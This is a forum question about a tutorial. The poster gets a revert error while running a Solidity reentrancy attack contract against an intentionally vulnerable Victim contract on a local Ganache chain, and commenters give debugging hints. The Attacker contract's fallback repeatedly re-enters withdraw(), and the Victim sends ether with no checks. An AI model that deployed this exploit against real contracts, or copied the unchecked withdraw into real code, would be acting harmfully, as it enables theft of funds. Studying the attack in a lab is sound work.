0

I am running the tutorial at:

Medium Just Dev

pragma solidity ^0.5.0;

import './Victim.sol';
contract  Attacker{
   Victim  public v;
   uint public  count;
   event LogFallback(uint c, uint balance);
   
   
   constructor (address victim) public {
      v=Victim(victim);
   }
  

   function attack() public {
      v.withdraw();
   }

   function () external payable{
      count++;
      emit LogFallback(count, address(this).balance);
      if(count < 10 ) {
         v.withdraw();
      }
    }
}

== Victim Contract

pragma solidity ^0.5.0;
    contract Victim{
    
       function  withdraw() public{
          
          uint transferAmt = 1 ether;
          (bool success, ) = msg.sender.call.value(transferAmt)("");
          //require(!success);
       }
       function deposit() payable public {}
    }

They have invoked the following method on the console

> attacker.attack()

and shown that they are generating a transaction but I am getting following exception:

truffle(ganache)> attacker.attack() Error: Returned error: VM Exception while processing transaction: revert at evalmachine.:0:10 at sigintHandlersWrap (vm.js:98:15) at ContextifyScript.Script.runInContext (vm.js:56:12) at runScript (/usr/local/lib/node_modules/truffle/build/webpack:/packages/core/lib/console.js:222:1) at Console.interpret (/usr/local/lib/node_modules/truffle/build/webpack:/packages/core/lib/console.js:237:1) at ReplManager.interpret (/usr/local/lib/node_modules/truffle/build/webpack:/packages/core/lib/repl.js:129:1) at bound (domain.js:301:14) at REPLServer.runBound [as eval] (domain.js:314:12)

Somebody please guide me how to correctly generate the transaction by avoiding theexception

Zulfi.

4
  • 1
    To begin with, upgrade your compiler to at least 0.4.21. This is most likely what is being used, which means that function Attacker is just a function, and not the constructor (which means it is not automatically executed upon deployment). To be sure, rename that function to constructor and check whether or not it compiles. – goodvibration Jun 22 '20 at 14:07
  • I have changed the compiler version but still I am getting the same exception. There are no compile time errors. Contract deploys on Truffle. Please guide me. – zak100 Jun 23 '20 at 4:51
  • No way to answer your question, since the code of function withdraw is not provided! – goodvibration Jun 23 '20 at 5:40
  • I have added the "withdraw()" method. Kindly guide me. – zak100 Jun 23 '20 at 12:39

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.